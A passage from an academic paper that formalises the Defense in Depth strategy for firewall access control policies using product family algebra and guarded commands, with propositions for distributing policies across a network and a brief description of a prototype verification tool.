elements sharing more features than the rest of the members of A. Sometimes,
for practical reasons (i.e., managerial, or resource related), a specific software
subfamily is called a product line.

One can think that when dealing with security, a policy can be a manifesta-
tion of the notion of product when one is reasoning on all the family of policies
deployed all through a network. A feature is a conceptual characteristic that
is visible to stakeholders (e.g., users, customers, developers, managers, etc.). In
this paper, relevant stakeholders are security officers or any other organization
actor who has a say on access control policies. Policies governing access to simi-
lar resources can be referred to as policy family or policy product family . We will
base our theoretical results on PFA [9–11] that is briefly presented below.

Feature models, which are the means to give the mandatory, optional and
alternative features within a domain, are used to represent families. They are
widely used in product-line engineering to capture the commonality and vari-
ability of product families in terms of features. Using small feature models (in
size of their graphs) can help to further guide distributing policies on firewalls
or finding common rules among policies. However, the increasing complexity of
network systems and the scale of the policies governing them, reveals that a
large feature model cannot be understood and analyzed if they are treated as
a monolithic entity. A similar situation is observed in the general use of soft-
ware feature models. However, when we adopt an algebraic language to specify
product family, this problem is avoided as a family is captured by an algebraic
term and queries to feature models are carried through algebraic calculations.
Algebraic approaches in general have the merit of being very suitable as light-
weight formal methods with heavyweight automation [7]. Moreover, point-free
reasoning, in the family of algebras based on variants of idempotent semirings
such as PFA, can be formally linked with point-wise reasoning in concrete mod-
els, enabling us to switch back and forth between point-free abstract algebraic
reasoning and point-wise concrete reasoning within a model [7]. In this paper,
we use PFA not only to capture specific policies, but also to calculate the policy
that should be assigned to each firewall of our network system.

Product family algebra (or briefly PFA) extends the mathematical notions of
semiring to describe and manipulate product families. A semiring is an algebraic
structure denoted by a quintuple (S,+, ·, 0, 1), such that S is a set, + and · are
binary operations over S, and 0, 1 ∈ S. The support set S is closed under + and ·
operations. In particular, the binary operation +, called addition, is associative,
and commutative, and has an identity element 0. The binary operation ·, called
multiplication, is associative, and has an identity element 1. Multiplication left
and right distributes over addition. Moreover, 0 is the annihilator element for
multiplication. Furthermore, a commutative and idempotent semiring is a semi-
ring (S,+, ·, 0, 1) such that multiplication is commutative, and addition (+) is
idempotent.

Definition 1 (Product Family Algebra (e.g., [11])). A product family alge-
bra is a commutative idempotent semiring (S,+, ·, 0, 1), where
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(a) S corresponds to a set of product families;
(b) + is interpreted as the alternative choice between two product families;
(c) · is interpreted as a mandatory composition of two product families;
(d) 0 corresponds to an empty product family;
(e) 1 corresponds to a product family consisting of only a pseudo-product which

has no features.

An optional feature f can be interpreted as an alternative choice between
the feature f and 1. For example, let us consider policies p1 that is assigned
to a node N1 and p2 that is assigned to a node N2. Nodes N1 and N2 are
the only immediate successors on the graph representing a network to a node
that we denote by N0. The policies p1 and p2 share only the rules r1 and r2.
However, p1 has only one extra rule r3. If we want, for example, to consider
the policies that are employed starting from N0, we represent them as a family
F

def= p1+p2 = r1·r2·r3+r1·r2 = r1·r2·(r3+1). The commonality of the members
of the family F is the term (r1 ·r2). If we look at product family algebras like the
set-based or the bag-based ones discussed in [11], we can formalize the problem of
determining the commonality of two families as finding the Greatest Common
Divisor (GCD), or to factor out the features common to all given products.
We can use the classical Euclidean algorithm for finding the GCD, which is an
advantage of using an algebraic approach. Solving the GCD is well known, easy
and efficient, whereas finding commonalities using diagrams as used in several
feature modelling approaches is more complex. We also have a divisibility relation
among families that is given by (a | b) ⇐⇒ (∃ c | · b = a.c )2. We say that
two product families a and b are coprime iff gcd (a, b) = 1.

A requirement relation over PFA is used to capture constraints in feature
models. The requirement relation is defined using two other relations: subfamily
and refinement . The subfamily relation indicates that, for two given product
families a and b, a is a subfamily of b if and only if all of the products of a
are also products of b. Formally, the subfamily relation (≤) is defined as a ≤
b

def⇐⇒ a + b = b. For example, the above policy p1 represents a subfamily of
F that is given above, since we have p1 + F = p1 + (p1 + p2) = p1 + p2 = F .
The refinement relation indicates that, for two given product families a and b, a
is a refinement of b if and only if every product in family a has at least all the
features of some products in family b. Formally, the refinement relation (	) is
defined as a 	 b

def⇐⇒ (∃ c | · a ≤ b · c ). In our example, we have p1 	 p2 as
p1 has all the rules of p2 and more (the additional rule r3). Also, we have p1 	 F

as p1 	 F ⇐⇒ (∃ c | · p1 ≤ F · c ) ⇐⇒ (∃ c | · p1 + F · c = F · c ) ⇐⇒
2 Throughout this paper, we adopt the uniform linear notation provided by Gries

and Schneider in [8], as well as Dijkstra and Scholten in [4]. The general form of

the notation is (� x | R · P ) where � is the quantifier, x is the dummy or

quantified variable, R is predicate representing the range, and P is an expression
representing the body of the quantification. An empty range is taken to mean true

and we write (� x | · P ); in this case the range is over all values of variable x.
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(∃ c | · r1 · r2 · r3 +(r1 · r2 · (r3 +1)) · c = (r1 · r2 · (r3 +1)) · c ), which is satisfied
for c = 1 due to the idemptence of +.

An element a ∈ S is said to be a product if it satisfies the following laws [9,11]:

(∀ b | b ∈ S · b ≤ a =⇒ (b = 0 ∨ b = a) ),

(∀ b, c | b, c ∈ S · a ≤ b + c =⇒ (a ≤ b ∨ a ≤ c ).

These laws define that a product cannot be divided using the choice operator
+, or in other terms, it does not offer optional or alternative features. A feature
can be defined by indivisibility w.r.t. multiplication rather than addition [9,11].

For elements a, b, c, d and a product p in PFA, the requirement relation (→)
is defined in a family-induction style [11] as:

a
p→ b

def⇔ p 	 a =⇒ p 	 b

a
c+d→ b

def⇔ a
c→ b ∧ a

d→ b

The requirement relation is used to specify constraints on product families.
For elements a, b and c, a

c→ b can be read as “a requires b within c”. The special
case of a constraint a·b c→ 0 indicates that the composition of a and b generates an
empty family. Such a constraint can be used to reflect the fact that not all feature
compositions are possible or desirable in reality. For more details on the use of
this mathematical framework to specify product families, we refer the reader
to [9–11]. In our context, the constraints are used to express the will of security
officers in the articulation of policies/rules applied to several access points. For
example, we might need to state that if a user is denied access to resource x, then
they must be denied (or allowed) access to resource y. These requirement rules,
when taken into account, are very helpful for ensuring that the access policies
capture the link among assess rules. Using PFA, a policy specifier can implement
a set of policies and then constrain them using these requirement relations.
Through calculations, the rules that breach these requirement constraints are
eliminated. We say that a family f satisfies a constraint (a

q→ b), and we write
((a

q→ b)  f), iff (∀ p | p ≤ f ∧ q 	 p · a
p→ b ).

Commands, Guarded Commands, and if fi-commands. In this section, we
present guarded commands as a proposed model for access control policies. We
adopt a variant of Dijkstra’s guarded command presented in [12,19]. Basically, a
command is a transition relation from starting states to their possible successor
states. To guarantee the command does not have the possibility to lead to fail-
ure/abortion of a policy action, a command is modelled as a pair consisting of
transition relation and a set of states for which no abortion is possible [20,21].

Definition 2 (e.g., [12]). Consider a set Σ of states. A command over Σ is
a pair (R,P ) where R ⊆ Σ × Σ is a transition relation and P is a subset of
Σ. The restriction of a transition relation R ⊆ Σ × Σ to a subset Q ⊆ Σ is

Q↓R def= R ∩ (Q × Σ).
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The set P is intended to characterize those states from which the command
cannot lead to abortion. The command abort is the one that offers no transitions
and does not exclude abortion of any state: abort def= (∅, ∅). It can be interpreted
as the policy that does not involve any transitions on the state space or simply
the absence of policy. Hence, since we have an absence of policy, there are no
states that we trust to lead to normal termination of the policy command, which
means we have an empty set P . There are other special commands that we will
use in the remainder of the paper. For example, the command skip does not
do anything: it leaves the state unchanged and cannot lead to abortion for any
state: skip

def= (I, Σ), where I
def= {(s, s) | s ∈ Σ} is the identity relation on

states. The command fail does not offer any transition but guarantees that no
state may lead to abortion: fail

def= (∅, Σ). We now define the operators �� of
non-deterministic choice.

Definition 3 (e.g., [12]). Let C = (R,P ) and D = (S,Q) be commands. The
command C��D is intended to behave as follows. For a starting state s, non-
deterministically a transition under R or S is chosen (if there is any). Absence
of aborting is guaranteed for s iff it can be guaranteed under both C and D, i.e.,
iff s ∈ P ∩ Q. We define �� as: (R,P )��(S,Q) def= (R ∪ S, P ∩ Q).

The operation �� is associative, commutative, and idempotent and fail is its
neutral element. The reason for set union in the first and set intersection in the
second is that if the choice of transitions gets greater, then the set of states for
which no abortion is guaranteed gets smaller. We say that a command (R,P ) is
feasible when P ⊆ dom(R).

Definition 4 (e.g., [12]). Let (R,P ) be a command and Q ⊆ Σ be a set of
states. Then the guarded command Q −→ (R,P ) (where Q is called the guard)
is defined as Q −→ (R,P ) =df (Q↓R,Q ∪ P ), where Q is the complement of Q
w.r.t. Σ.

In a starting state s this command can lead to a transition only if s is in
both Q and the domain of R (denoted by dom(R) and defined as dom(R) def=
{s ∈ Σ | (∃ t | t ∈ Σ · (s, t) ∈ R )}). Abortion is excluded if s is not in Q or
P . Note that Q −→ (R,P ) is not feasible even if (R,P ) is. Therefore, in [12], a
way around this issue is proposed by defining the if fi-statement.

Definition 5 (e.g., [12]). Given a command (R,P ), then the if fi-statement is
defined by if (R,P ) fi

def= (R,P ∩ dom(R)).

The reason the command is surrounded with if fi is to transform it into a fea-
sible command. This is used to define the semantic of the general construct of
non-deterministic branching as follows. Given sets Qi of states and commands
(Ri, Pi), for (1 ≤ i ≤ n), then

if Q1 −→ (R1, P1) fi�� · · · ��Qn −→ (Rn, Pn) fi =
(⋃

(Qi
↓Ri), (

⋃
(Qi ∩ dom(R))) ∩ (

⋂
(Qi ∪ Pi))

)
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We refer the reader to [12], from where the above definitions are taken, for
more discussion on the if fi construct and its mathematical properties.

In modelling access control rules, we use guarded commands. A guard ensures
that the conditions implemented by a rule are satisfied before changing the state
of the access system. A state change is done according to the transition relation
of the command. Let Dr, S, P,St,Ds, and A be respectively the sets of values of
the directions (input, output), the source IP number, the protocols, the states,
the destination ports, and the actions. We have Σ = Dr × S × P × St × Ds × A.
Then, for example, the rule given on Page 5 and corresponding to Line 1 in
Fig. 1, that we call C1 can be written as follows:

C1 = [Q −→ (R,P )], where

Q ⊆ Σ is the guard and defined as follows:

{(dr, s, p, st, ds, a) | (dr = Input)
∧ (s ∈ [156.17.49.0 · · · 156.17.49.24] ∧ (p = TCP) ∧ (st ∈ {NEW,RELATED,ESTABLISHED})
∧ (ds = 4000)}.

The relation R can be defined in this case as

R = {((dr, s, p, st, ds, a), (dr′, s′, p′, st′, ds′, a′)) | a′ = ACCEPT},

and we take simply P = ∅; we are stating that without the guard, we cannot
guarantee that the command avoids abortion. The guarded command C1 corre-
sponds to the guard (Q↓R,Q∪P ) = (R ∩ (Q×Σ), Q∪∅) = (R ∩ (Q×Σ), Q) =
(R ∩ (Q × Σ), Q). The second element of the tuple giving the guard (i.e., Q)
indicates that with the guard we are stating that all of the states outside of Q
cannot lead to abortion.

We also take from the literature on guarded commands (e.g., [12,19]) the
definition of the notion of refinement relation on commands. We say that (R,P )
refines (S,Q) and we write (R,P ) 	 (S,Q) def⇔ Q ⊆ P ∧ Q↓R ⊆ S. This relation
is reflexive, transitive, and not antisymmetric. The associated equivalence rela-
tion is given by C ≡ D

def⇔ C 	 D∧D 	 C. In [12], the authors define equivalence
of commands as (R,P ) ≡ (S,Q) def⇔ P = Q ∧ P ↓R = P ↓S. We find also that
the if fi-construct is the “closest feasible refinement” of a command. We have
if (R,P ) fi is the 	-least refinement of (R,P ) that preserve the transition R.
Then we find in [12] the following relation between the refinement relation and
non-deterministic choice: for commands C,D we have C 	 D ⇔ C��D ≡ D.
Hence, two classes are related by 	 if their representatives are, which defines a
partial order on equivalence classes of commands. We can imply from the above
that the equivalence class of C��D is the least upper bound of the equivalence
class of C and D w.r.t. 	. We can also define greatest lower bound of commands
(R,P ) and (S,Q) w.r.t. 	 as (R,P )�(S,Q) =

(
(R∩S)∪(P↓S)∪(Q↓R), P ∪Q

)
.

For two relations R and S, the meet of the feasible commands (R, dom(R)) and
(S, dom(S)) is feasible iff dom(R ∩ S) = dom(R) ∩ dom(S). In other terms, the
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meet of the feasible commands (R, dom(R)) and (S, dom(S)) is feasible iff R and
S agree on the action to be carried on their common domain. It entails that for
every state in the intersection of R and S we have to offer at least one transi-
tion. This allows for a common specification for the integration of R and S. This
property is called integrability. Verifying the integrability of commands is a task
that can me automated; it has been used before for the integration of require-
ment scenarios and has been automated using Prototype Verification System
(PVS) [3,17]. In Sect. 4, we give an idea on the automation of the verification
of the integrability of two commands in the paper’s context. We note also that
� is commutative, associative, and has abort as its neutral element and fail as
its absorbing element. Also, �� and � distribute over each other, which give the
commands a distributive lattice structure. We refer the reader to [12,19], for
further discussion on the greatest lower bound of commands (R,P ) and (S,Q)
w.r.t. 	.

3 Firewall Policies as Product Families

We showed the link between access control rules, guarded commands, and if fi-
statements. Using operations on commands �� and �, we can define composite
and quite complex commands. These commands can be either simple access
control rules or policies obtained by combining commands. Let G be the set of
mutually integrable if fi-statements. Let IP def= P(G). The elements of IP are
called Attribute Based Access Control Policies (ABACP). For A,B ∈ IP, we
define A �IPB

def= {a � b | a ∈ A ∧ b ∈ B}. We can see that a �IP{abort} = a as
abort is neutral for the � on commands. Now, we can state the following:

Proposition 1. F = (P(IP),⊕,�, 0F , 1F ) is a product family algebra, where

1. (∀A,B | A,B ∈ P(IP) · A ⊕ B
def= A ∪ B )

2. (∀A,B | A,B ∈ P(IP) · A � B
def= {a �IP b | a ∈ A ∧ b ∈ B} )

3. 0F
def= ∅

4. 1F
def= { {abort} }

The above proposition states that F is a model for PFA. A�0F = {a�IPb | a ∈
A ∧ b ∈ 0F} = {a �IPb | a ∈ A ∧ b ∈ ∅} = {a �IPb | a ∈ A ∧ false} = {a �IPb |
false} = ∅ = 0F . Also, we have A � 1F = {a �IPb | a ∈ A ∧ b ∈ 1F} = {a �IPb |
a ∈ A ∧ b ∈ { {abort} } } = {a�IP{abort} | a ∈ A} = {a | a ∈ A} = A. Hence,
0F is the annihilator element for � and 1F is the neutral for �. It is easy to see
due to the properties of set union and the the operation � on commands that
(P(IP),⊕,�, 0F , 1F ) satisfies all the properties of an idempotent semiring and
therefore it is a product family algebra. An element of P(IP) is called a Family of
Attribute Based Access Control Policy and for brevity we say family of policies.
On a product family, we a have a natural order that comes with the semiring
structure that we denote for F by �F . It is defined as a �F b

def⇔ a ⊕ b = b.
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Hence, as discussed in Sect. 2.2, we can define a notion of family refinement of
the elements of F as follows: a 	F b

def⇔ (∃ c | · a �F b � c ). For reasons of
conciseness, we do not discuss the relationship between the command refinement
to that of the family refinement. Obviously, they are linked.

We also, can instantiate the requirement relation defined in Sect. 2.2 in
the structure F as it is a model of a product family algebra as stated in
Proposition 1. For elements a, b, c, d and a product p in F , the requirement
relation (→) is defined3 in a family-induction style as:

a
p→ b

def⇔ p 	F a =⇒ p 	F b

a
c⊕d→ b

def⇔ a
c→ b ∧ a

d→ b.

A relation a
p→ b is called a Policy Requirement Constraint (PRC). It states that,

within the family of policies p, if we satisfy the policies within family a, then
we must satisfy the policies within family b. We usually use PRCs to express
global network access policies. When we want to articulate the constraint that,
in family of policies p, we should not satisfy the policies in family a we write
a

p→ 0F . In other terms, we are stating that no policies in family P should refine
any policy in family a.

3.1 Defense in Depth Strategy and Its Usage

When we consider a resource network that has an access entry r allowing its
access from the outside world, we can represent it as a rooted connected directed
acyclic graph. The leafs of the graph represent the resources to be accessed. The
remaining vertices would be internal access nodes that execute policies. Figure 2
shows the graph model of a network that has a root r, leafs v6 to v10, and internal
access points v1 to v5. All the vertices can execute policies. The edges represent
access traffic links between access points. For example, in Fig. 2, the edge (v1, v4)
indicates the access connection from access node v1 to access node v4.

We might have networks with n entry points. In this case, we model it with
n rooted connected directed acyclic graphs that each has one of the entry points
as its root. The formal treatment presented below would need to be repeated to
each rooted connected directed acyclic graph. Then, each of the network access
points, would enforce a family of policies that is the sum of all the families of
policies associated to it and obtained from each of the rooted graphs.

Let G
def= (V,E, r) be a rooted connected directed acyclic graph that repre-

sents a resource network, where:

– V is the set of vertices and it represents the set of access control points that
enforce access policies;

3 As it is a simple instantiation in a model of PFA of that of Sect. 2.2, we use the same
notation.
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We execute policy p(v1) r

v2

v3

v4

v5

v1

v v v v v6 7 8 9 10

The leafs represent resources that also can enforce local policies

Fig. 2. A resource network as a rooted connected directed acyclic graph

– E is a set of ordered pairs of vertices that represent the link between access
control points;

– r is the root of the graph and it represents the access point between the
network and the external word.

From now on, we call G a network of access control points.

Definition 6 (Defence in Depth Law (DDL)). Let G
def= (V,E, r) be a

network of access control points. We denote by p(v) the family of attribute based
access control policies enforced by vertex v in G. The network G employs a DD
strategy if p(r) �= 0F ∧ (∀ a, b | (a, b) ∈ E · p(b) 	F p(a) )

Obviously, if a node v satisfying (r, v) ∈ E has p(v) = 1F , then the root will
have p(r) satisfying 1F ≤ p(r) ⇐⇒ 1F ⊕p(r) = p(r). It is because 1F can refine
1 + c for some c, or refine 0F . The 0F is not allowed as it is the “impossible”
family of policies. The family 1F contains only one policy with one rule given
by the command abort

def= (∅, ∅), which offers no transitions (no change of state)
and does not exclude abortion of any state. The second condition ensures that
every policy at a level higher than the root (we assume the root to be at level 0;
the lowest) needs to be at least as restrictive, if not more, than the one above it.
This fact is articulated explicitly in Proposition 2(a).

Definition 6 does not prevent trivial instances in which all access control hap-
pens at the leaves and all other nodes accept all traffic. Practically this situation
could happen when we adopt for instance the approach given in Proposition 4
for co-prime policies executed at the leafs (resources) and without global con-
straints; no way to have a common restrictive rule that can be applied at their
ancestor nodes. In this case, we are forced to let the resources enforce the rules
and allow each to accept the traffic only destined to them. Otherwise, any control
at a node upstream would block access to some resources.
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One can think of a more strict form of DD than that of Definition 6 by
strengthening the condition to prevent trivial instances in which all access con-
trol happens at the leaves and all other nodes accept all traffic. It would simply
require to change the refinement relationship between p(a) and p(b) in the con-
dition of Definition 6 to a strict refinement as follows:

p(r) �= 0F ∧ (∀ a, b | (a, b) ∈ E · p(b) �F p(a) ),

where p(b) �F p(a) ⇐⇒ (p(b) 	F p(a) ∧ p(a) �= p(b)). In the rest of
this paper, we adopt the weak form of DD that is given in Definition 6 for the
simplicity that it provides to the treatment of DD.

Proposition 2. Let G be a network of access control points that employ a DD
strategy. Let P = 〈v1, v2, ..., vm〉 be a path of P . We have

(a) (∀ i | 1 ≤ i ≤ m · p(vm) 	F p(vi) )

(b) (∀ v | v ∈ E · p(v) 	F p(r) )

Proof. The proof for item (a) uses the reflexivity and transitivity of 	F and
some basic quantifier rewriting rules. While the proof for item (b) is done by
induction on Q(m) def⇔ (∀ i | 1 ≤ i ≤ m · p(vi) 	F p(v1) ). The detailed proof
is given in the Appendix.

The result 2(a) states that whatever path the access takes in a network that
implements a DD strategy, it will be faced by more and more restrictive (in a
weak sense) families of policies. The result 2(b) states that any family of policies
at any of the network nodes is at least as restrictive as that of the root.

3.2 Generating Lower Level Policies from Higher Level Ones

In a network of access control points G
def= (V,E, r), we assign level 0 to r. We

say that r has the lowest level in G. Let vi be a vertex having level n, then a
vertex vj such that (vi, vj) ∈ E will have the level n + 1. A vertex might have
more than one level as it might be reached by several paths of different lengths.
Only when G is a tree, the vertices have unique levels.

Proposition 3. Let G
def= (V,E, r) be a network of access control points. Let

T be a directed spanning tree of G rooted at r and having a set L of leaves. For
every l ∈ L, we are given p(l). If we have

p(v) def= (⊕ vi | (v, vi) ∈ E ∧ p(vi) �= 1F · p(vi) )

for every v ∈ V that is an ancestor of an l ∈ L, then G employs a DD strategy.

Proof. Since for every v ∈ E, we have p(v) is constructed using the operator ⊕
of all the families of policies that are enforced at nodes that come after node v.
Therefore, each of these policies refines p(v) which satisfies the condition in
Definition 6.



Defense in Depth Formulation and Usage in Dynamic Access Control 267

This proposition enables assigning policies starting from the highest (level)
vertices in the network (i.e., the resource). We start by manually assigning the
access policies to the resources (leaves in the tree). Then the policies of the lower
nodes are generated according to the scheme proposed by Proposition 3.

In the case where G has several spanning trees T1 · · · Tj , for j ≤ |V |(|V |−2)

(as for a complete graph with n vertices, Cayley’s formula gives the number of
spanning trees as nn−2), then a vertex v ∈ G belongs to each of the spanning
trees has a family of policies p(v) = (⊕ i | 1 ≤ i ≤ j · pi(v) ), where pi(v) is
the family of policy for vertex v obtained according to Proposition 3 using the
spanning tree Ti for 1 ≤ i ≤ j. In this context, the family approach to deal with
policies where many paths from the root can lead to one access control point is
very convenient; we have a family of policies that apply not only to one tree.

We suggest in the next proposition another deployment scheme of families of
policies.

Let G
def= (V,E, r) be a network of access control points. Let T be a directed

spanning tree (DST) of G rooted at r and having a set L of leaves. For every
l ∈ L, we are given p(l).

Proposition 4. If we have p(v) = ( gcd vi | (v, vi) ∈ E ∧ p(vi) �= 1F · p(vi) )
for every v ∈ V that is an ancestor of an l ∈ L, then G employs a DD strategy.

Proof. The proof uses the fact that in a product family algebra, a · c 	 a. This is
true in our model of product family (i.e., a � c 	F a). At the node v, we deploy
the family of policies that is given by the commonality of the policies at vi.

If one of the vi for (v, vi) ∈ E is coprime to one of the others vj at the
same level and that are related to v, then p(v) = 1F . Two families are coprime
indicates that they do not have policies/rules that are shared by the two of them.

The following proposition is about the preservation of the defense in depth
when we apply PRCs.

Proposition 5. Given a network of access control points G that employs a DD
strategy, where each node v has a family of policies p(v) assigned to it. Let C be
a given set of PRCs. The following scheme gives a network that employs a DD
strategy.

For every v ∈ V that is an ancestor of an l ∈ L, we assign a family of policies
p′(v) such that

1. p′(v) ≤ p(v), and
2. (∀ c, v, w | c ∈ C ∧ (v, w) ∈ E · (p(w) ≤ p(v)) ∧ (c  p′(v)) ∧ (c  p′(w)) ).

Proof. Since p′(v) is a subfamily of p(v) and the refinement between a node and
its successor on the tree L is reduced to the subfamily relationship. Therefore,
applying the constraints preserves the refinement needed for the DD strategy.
Without the condition of p(w) ≤ p(v) as given above, there is no guarantee that
the refinement is preserved by applying the PRCs.
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4 Automation of the Management of Policies
and the Verification of Their Integrability

In this section, due to space limitation, we simply point to the main components
of our prototype tool and the technology used to automate the results proposed
in this paper. Our prototype tool includes two major elements: Analysis element
(Analyzer) and broker element (Broker).

The Analyzer is responsible for all the calculations needed to ensure the inte-
grability of policies and for assigning policies (according to one of the schemata
given in Propositions 3, 4, or 5) to each access control node based on the given
policies assigned to the resources.

The Broker has the responsibility to keep track of the policies at each node
and to transmit newly calculated policies to their corresponding nodes. Each
node subscribes with the Broker , notifies it of any change to its situation. Then,
the Broker , with the help of the Analyzer , decides on the appropriate policy for
each node, and transmits them to their destinations. The design of the Broker
is based on the observer pattern, which is a software design pattern in which
an object maintains a list of its observers (in our case the nodes to be assigned
policies) and notifies them automatically of any state changes (policies changes),
usually by calling one of their methods. Hence, the Broker construction is a
straight forward application of observer design pattern.

The policies for each of the network resources are automatically translated
into tabular expressions commonly known as Parnas’ Tables (e.g., [16,22]). A
tabular expression can be encoded using a markup language. In our prototype,
we use a language that has been introduced in [17]. The Analyzer of our proto-
type tool uses PVS to perform the verification and calculations needed whether
for verifying policies or for determining appropriate policies for each node. It
has been demonstrated in [23] that PVS is an appropriate theorem prover for
carrying calculations using a formalism similar to the one we are using in this
paper. The Analyzer is a modified version of the tool SCENATOR [17] developed
for the verification of requirements scenarios. The formalism used in SCENA-
TOR is similar to the one we are using for the analysis of security policies. The
main addition to SCENATOR is the development of modules to automatically
calculate the GCD of a family of policies. The Analyzer is implemented using C,
Tcl\TK, and runs on Unix/Linux platform. It uses PVS in batch mode. If two
policies are not integrable, it highlights in their corresponding tables, the cells
that are inconsistent. Also, when given families of policies, it performs calcula-
tions such as the GCD of the members of a family or calculates the operations
defined on families of policies. The approach for generating conjectures for PVS
to prove (in batch mode) and how the results are interpreted are thoroughly
discussed in [17]. We simply reused the existing tool SCENATOR with the few
additions described above.

Our prototype is only a proof of concept for the automation of a dynamic
access control. Issues related to time-length of control cycles and the observabil-
ity of changes to policies or to the states of the resources need to be considered
with more care and precision for an efficient dynamic access control solution.
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Moreover, from a design perspective, the question on how to prevent the Broker
from becoming a target of attacks needs to be addressed. These are issues that
require further investigations.

5 Discussion and Future Work

We think that a family approach is appropriate to reason on the access policies
of a network for the following motives: (1) We distinguish between the actual
specific implementation of the policies and the family of policies coming from
several viewpoints that gave that implementation. A family of policies can give
other implementations such as the concurrent version that most current firewall
technologies do not support. However, the requirements of today’s technology
demands for the enhancement of resource access performance; especially in this
era of Internet of Things where a large number of devices can create resource
access contention. (2) Using a family approach keeps the separation of concerns
in the considered family of policies. Any change to a policy usually concerns one
view point (coming from one security stakeholder) and therefore it is easy to
locate and carry the change. Then, in a systematic way, we generate the actual
implementation of the family as a sequentially executed list of rules or as a set
of rules that are safe to be executed in any order (which our proposed model
allows). Having correct methods for automatically and dynamically verifying
these changes and reconfiguring firewalls would be a step towards a dynamic
approach to a system’s access control. (3) Adopting a family approach to reason
on access policies, as we presented, enables us to not rely on a person to articulate
the policy into a sequence of rules where an alteration in the order of execution
of two rules can threaten the security of our resources. A systematic way should
be adopted to generate the actual policy so that its function is independent of
the order of execution of its rules.

Another context where the usage of a family approach is beneficial is when
reasoning on the overall security of a network of resources. Let us consider, in
a network, a node N under which we are running n virtual machines, where
each machine has its own access policy. Abstractly, when we want to reason on
the whole network security, we can consider that at node N , we are executing a
family of policies where its members are each of the n virtual machine’s access
policy. We can use this abstract approach to go up layer by layer until we have
constructed the family of policies under the control of the root of the network.
Moreover, in Sect. 3, we proposed other usages of families of access policies, such
as defining the defense in depth strategy and presenting several of its implemen-
tations. Also, when we consider a node that can be accessed from several paths
from the root, it has several policies that can be executed depending on the path
taken by the access request. It is the case when we have several spanning trees
in the network (case discussed in Sect. 3.1). In this case, a family approach is
more intuitive in reasoning on security policies.
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Articulating and implementing access control security policies is no different
than other similar activities related to enterprise security policies. When an
organization is faced with several challenging priorities, the business rational
drives prioritizing resources and dedication to each activity. The challenge is that
resource access control policies can become low-priority and their maintenance
and management will be assigned to technical staff that do their best as they
see fit. Automating the process of verifying policies as they are introduced or
as they are amended will ensure that, even with few resources, the security
system behind the network can take care of itself in configuring and implementing
policies. However, to ensure sound automation, a formal background is needed
to base on it the detection, recovery, and prevention mechanisms. The ideas
and the schemata for assigning security policies presented in this paper give the
background for this automation. Indeed, we developed an access control policy
software that does the verification of the integrability of policies as discussed on
Page 11 and assigns policies to nodes according to Propositions 3–5.

We find in [13] a product family approach to relate the security policies to the
security functionalities. A security policy is enforced through the deployment of
certain security functionalities within the application. Then, to handle the issue
of frequent changes in security policy requirements they adopt an aspect oriented
approach. This issue is also present in articulation and deploying access control
policies. A means to quickly deal with changes to the rules is a must. Sometimes,
when a security flaw is discovered, we are required to replace some conditions
by others that address the problem and apply that change to all the policies.
An aspect oriented approach would be appropriate for quickly propagating the
correction to all the policies. In our case, we build our work on PFA. An extension
of PFA, which is Aspect-Oriented Product Family Algebra (AO-PFA) [30,31],
has an aspect oriented language. Moreover, recently, Zhang et al. [29] proved
that its weaving process is convergent, leads to unambiguous weaving results,
and that its rewriting system is terminating and confluent. As our formalism
is based on PFA, we will be able to easily handle the issues of weaving policy
changes to their corresponding policies and that at the right join points. However,
the need for assessing the affect of these changes to all the access control nodes
and the affect on the DD strategy remains to be investigated.

Our proposed approach requires a quite heavy calculational effort as well as
some of its decision functions are, in general, undecidable. For example, deter-
mining whether two commands are integrable is undecidable in general. When
we use SCENATOR [17], if there is an undecidability problem, the cells, in the
used tabular expressions, that give rise to undecidability will be marked and the
security analysis will be considering it and making the appropriate decision. In
practice, these commands that their integrability verification is undecidable, can
be amended into decidable cases by, for example, restricting the state space (a
discussion on this issue can be found in [3]). Using PVS of the required logical
calculations is straight forward and can scale to handle large network system.

Some might argue that this approach is state based and with a large network
we might observe a state space explosion. This point has some merit, however
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we should keep in mind the following: (1) The state space does not increase with
each resource that is added. We alway consider a quite stable set of attributes
of the network such as the source, the destination, the user, the protocol, etc.
The dimensions of our space is some what stable. (2) We can divide a complex
and quite large network of resources into subnetworks and we assign a policy
Broker (as described above) for each subnetwork. However, the constraints of
one subnetwork on the other can be seen as global constraints and be handled as
prescribed by Proposition 5. We are opting for a centralized approach to assign
policies. In [28], Google’s tech lead for networking and others argue that, for
traffic control, a central perspective allows to make better decisions.

6 Conclusion

As far as we know, in the context of access control policies within a network, the
paper formally captures for the first time the widely intuitively discussed Defense
in Depth strategy. It allowed us to formally assess whether a network, with a
given topology and a set of policies distributed on it, satisfies the DD strategy or
not. We point to a stronger version of DD strategy that might not possible for
any given set of policies. Moreover, we can articulate several sound schemata for
assigning policies such that the configuration of policies on a network satisfy the
DD strategy. The schemata presented in Propositions 3, 4, and 5 constitute an
effort to automatically distribute security policies that satisfy the DD strategy.
They can be used to allow a dynamic reconfiguration of firewalls policies each
time there is a change to the access policy of a resource (Propositions 3 and
4) or moreover when there is a change in the set of overall access-constraints
put on the network (Proposition 5). This dynamic aspect of reconfiguration of
firewall policies after each modification creates a kind of mobile defense. It makes
predicting a policy that is executed on a firewall more difficult. This hinders
mounting attacks on the system or at least makes them more challenging due
to the mobility of the rules between firewalls (e.g., due to their change each
time a resource is temporally unavailable, or because a resource reached its load
capacity). Moreover, the access to a resource is granted by all firewalls on the
path to the resource. This presents a separation of duties that is a key concept
of internal controls. It is achieved by disseminating the tasks and associated
privileges for a specific security process among multiple firewalls on the path to
a resource, so that compromising a single node does not, in general, compromise
the network.

More work needs to focus on articulating more efficient schemata that fit
some given criteria. In this paper, we examined involving global access policies
(i.e., PRCs). However, one can think about other performance related criteria
that can affect the distribution of policies.
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Appendix: Detailed Proof of Proposition 2

Proof.(a) (∀ i | 1 ≤ i ≤ m · p(vm) 	F p(vi) )
⇐⇒ 〈 1 ≤ i ≤ m ⇐⇒ 1 ≤ i ≤ m − 1 ∨ i = m 〉

(∀ i | 1 ≤ i ≤ m − 1 ∨ i = m · p(vm) 	F p(vi) )
⇐⇒ 〈 Range Split and One Point Axiom, and Reflexivity of 	F 〉

(∀ i | 1 ≤ i ≤ m − 1 · p(vm) 	F p(vi) ) ∧ true

⇐⇒ 〈 Identity of ∧ 〉
(∀ i | 1 ≤ i ≤ m − 1 · p(vm) 	F p(vi) )

⇐⇒ 〈 1 ≤ i ≤ m − 1 ⇐⇒ 1 ≤ i ≤ m − 2 ∨ i = m − 1 〉
(∀ i | 1 ≤ i ≤ m − 2 ∨ i = m − 1 · p(vm) 	F p(vi) )

